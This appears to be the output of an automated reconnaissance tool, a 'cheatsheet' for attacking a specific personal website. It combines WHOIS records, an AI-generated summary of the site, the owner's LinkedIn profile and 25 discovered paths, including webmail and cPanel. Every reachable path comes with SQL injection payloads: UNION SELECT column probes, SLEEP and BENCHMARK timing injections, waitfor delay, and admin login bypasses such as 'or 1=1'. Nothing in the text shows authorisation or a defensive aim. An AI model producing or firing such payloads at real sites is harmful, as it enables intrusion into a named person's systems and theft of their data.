

Cheatsheet for <https://gustavosc.com/>

****OSINT Information****

Domain Name: GUSTAVOSC.COM

Registry Domain ID: 2591705049_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: <http://www.namecheap.com>

Updated Date: 2021-02-16T13:58:09Z

Creation Date: 2021-02-16T11:41:36Z

Registry Expiry Date: 2022-02-16T11:41:36Z

Registrar: NameCheap, Inc.

Registrar IANA ID: 1068

Registrar Abuse Contact Email: abuse@namecheap.com

Registrar Abuse Contact Phone: +1.6613102107

Domain Status: clientTransferProhibited

<https://icann.org/epp#clientTransferProhibited>

Name Server: DNS1.NAMECHEAPHOSTING.COM

Name Server: DNS2.NAMECHEAPHOSTING.COM

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form:

<https://www.icann.org/wicf/>

>>> Last update of whois database: 2021-09-14T18:33:13Z <<<

For more information on Whois status codes, please visit

<https://icann.org/epp>

NOTICE: The expiration date displayed in this record is the date the

registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to

ensure

operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

Domain name: gustavosc.com

Registry Domain ID: 2591705049_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: <http://www.namecheap.com>

Updated Date: 0001-01-01T00:00:00.00Z

Creation Date: 2021-02-16T11:41:36.00Z

Registrar Registration Expiration Date: 2022-02-16T11:41:36.00Z

Registrar: NAMECHEAP INC

Registrar IANA ID: 1068

Registrar Abuse Contact Email: abuse@namecheap.com

Registrar Abuse Contact Phone: +1.6613102107

Reseller: NAMECHEAP INC

Domain Status: clientTransferProhibited

<https://icann.org/epp#clientTransferProhibited>

Registry Registrant ID:

Registrant Name: Withheld for Privacy Purposes

Registrant Organization: Privacy service provided by Withheld for Privacy ehf

Registrant Street: Kalkofnsvegur 2

Registrant City: Reykjavik

Registrant State/Province: Capital Region

Registrant Postal Code: 101

Registrant Country: IS

Registrant Phone: +354.4212434

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email:

20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com

Registry Admin ID:

Admin Name: Withheld for Privacy Purposes

Admin Organization: Privacy service provided by Withheld for Privacy ehf

Admin Street: Kalkofnsvegur 2

Admin City: Reykjavik

Admin State/Province: Capital Region

Admin Postal Code: 101

Admin Country: IS

Admin Phone: +354.4212434

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email:

20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com

Registry Tech ID:

Tech Name: Withheld for Privacy Purposes

Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email:
20760771ada642e78cd87c9ac09187c2.protect@withheldforprivacy.com
Name Server: dns1.namecheaphosting.com
Name Server: dns2.namecheaphosting.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System:
<http://wdprs.internic.net/>
>>> Last update of WHOIS database: 2021-09-13T23:33:26.42Z <<<
For more information on Whois status codes, please visit
<https://icann.org/epp>

****AI Powered Summary****

'A smart hydroponic plant growing system using IoT, based on a Raspberry Pi 3, a DHT22 sensor and a relay.\n\nThe system automatically waters the plants by measuring the humidity of the soil, and it also controls the temperature and the light intensity.\n'

****Found Social Media Links****

https://www.linkedin.com/in/gustavo-sanchez98/		
Found Emails		
No Email Addresses available		
Suspected file types		
'.html'		
Found Paths		
Method: GET, Total #: 25		
1	https://gustavosc.com/index.html -> 200 -> SQLi Suggestions:	
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8--
✓	x	AND (SELECT * FROM (SELECT(SLEEP(5))))YjoC) AND '%='
✓	x	admin") or ("1"="1"--
✓	x	AND false
2	https://gustavosc.com/cgi-bin/ -> 403	
3	https://gustavosc.com/cgi-bin -> 403	
4	https://gustavosc.com/papers/ -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
✓	x	ORDER BY 2
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
5	https://gustavosc.com/papers -> 200 -> SQLi Suggestions:	
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17

✓	x	UNION SELECT
		@ @VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
✓	x	AND 5650=CONVERT(INT,(UNION ALL
		SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
✓	x	ORDER BY 7--
6		https://gustavosc.com/mailman/ -> 403
7		https://gustavosc.com/mailman -> 403
8		https://gustavosc.com/pipermail/ -> 200 -> SQLi Suggestions:
✓	x	admin' or '1'='1'#
✓	x	ORDER BY 11#
✓	x	'&&SLEEP(5)&&'1
✓	x	' AnD SLEEP(5) AND '1
✓	x	ORDER BY 12
9		https://gustavosc.com/pipermail -> 200 -> SQLi Suggestions:
✓	x	SLEEP(5)#
✓	x	and (select substring(@ @version,3,1))='S'
✓	x	ORDER BY 31337
✓	x	RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
10		https://gustavosc.com/webmail/ -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8
✓	x	ORDER BY SLEEP(5)#
✓	x	ORDER BY 6--
✓	x	admin' or 1=1#
11		https://gustavosc.com/webmail -> 200 -> SQLi Suggestions:

✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25#
✓	x	ORDER BY 7--
✓	x	AND 7506=9091 AND ('5913=5913
12		https://gustavosc.com/cgi-sys/ -> 403
13		https://gustavosc.com/cgi-sys -> 403
14		https://gustavosc.com/controlpanel -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 3--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
✓	x	admin' or 1=1/*
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11--
✓	x	UNION ALL SELECT 1,2,3,4,5
15		https://gustavosc.com/controlpanel/ -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
✓	x	OR 3409=3409 AND ('pytW' LIKE 'pytW
✓	x	ORDER BY 1,SLEEP(5)--
✓	x	UNION ALL SELECT 1,2,3,4--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
16		https://gustavosc.com/cpanel -> 200 -> SQLi Suggestions:
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)))
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
✓	x	UNION SELECT @@VERSION,SLEEP(5),'3
17 https://gustavosc.com/cpanel/ -> 200 -> SQLi Suggestions:		
✓	x	' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
✓	x	UNION SELECT @@VERSION,SLEEP(5),'3
✓	x	sleep(5)#
✓	x	admin') or '1'=1
18 https://gustavosc.com/figures/ -> 200 -> SQLi Suggestions:		
✓	x	1' ORDER BY 1,2--+
✓	x	UNION ALL SELECT 1,2,3#
✓	x	ORDER BY 7
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
19 https://gustavosc.com/figures -> 200 -> SQLi Suggestions:		
✓	x	";waitfor delay '0:0:5'--
✓	x	ORDER BY 10#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23
✓	x	ORDER BY 12

✓	x	UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73) +CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106) +CHAR(107)+CHAR(113),NULL--
20		https://gustavosc.com/mailman/options/ -> 200 -> SQLi Suggestions:
✓	x	admin'/*
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28--
✓	x	OR 2947=LIKE('ABCDEFGH',UPPER(HEX(RANDOMBLOB(1000000000/2))))
✓	x	waitfor delay '00:00:05'
✓	x	UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
21		https://gustavosc.com/mailman/options -> 200 -> SQLi Suggestions:
✓	x	ORDER BY 30#
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11
✓	x	"));waitfor delay '0:0:5'--
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
✓	x	ORDER BY 15
22		https://gustavosc.com/mailman/options/Mailman -> 200 -> SQLi Suggestions:
✓	x	AnD SLEEP(5)#
✓	x	ORDER BY 1,SLEEP(5),3,4--
✓	x	%00

✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
23	https://gustavosc.com/mailman/options/Mailman/ -> 200 -> SQLi Suggestions:	
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)))#
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
✓	x	AND 7300=7300 AND ('pKIZ'='pKIY
✓	x	ORDER BY 13#
24	https://gustavosc.com/mailman/options/mailman -> 200 -> SQLi Suggestions:	
✓	x	AND 0
✓	x	AND 1=0#
✓	x	UNION ALL SELECT 'INJ' 'ECT' 'XXX',2,3,4,5,6,7,8,9,10,11,12#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
✓	x	ORDER BY 29--
25	https://gustavosc.com/mailman/options/mailman/ -> 200 -> SQLi Suggestions:	
✓	x	AND 0
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
✓	x	admin' #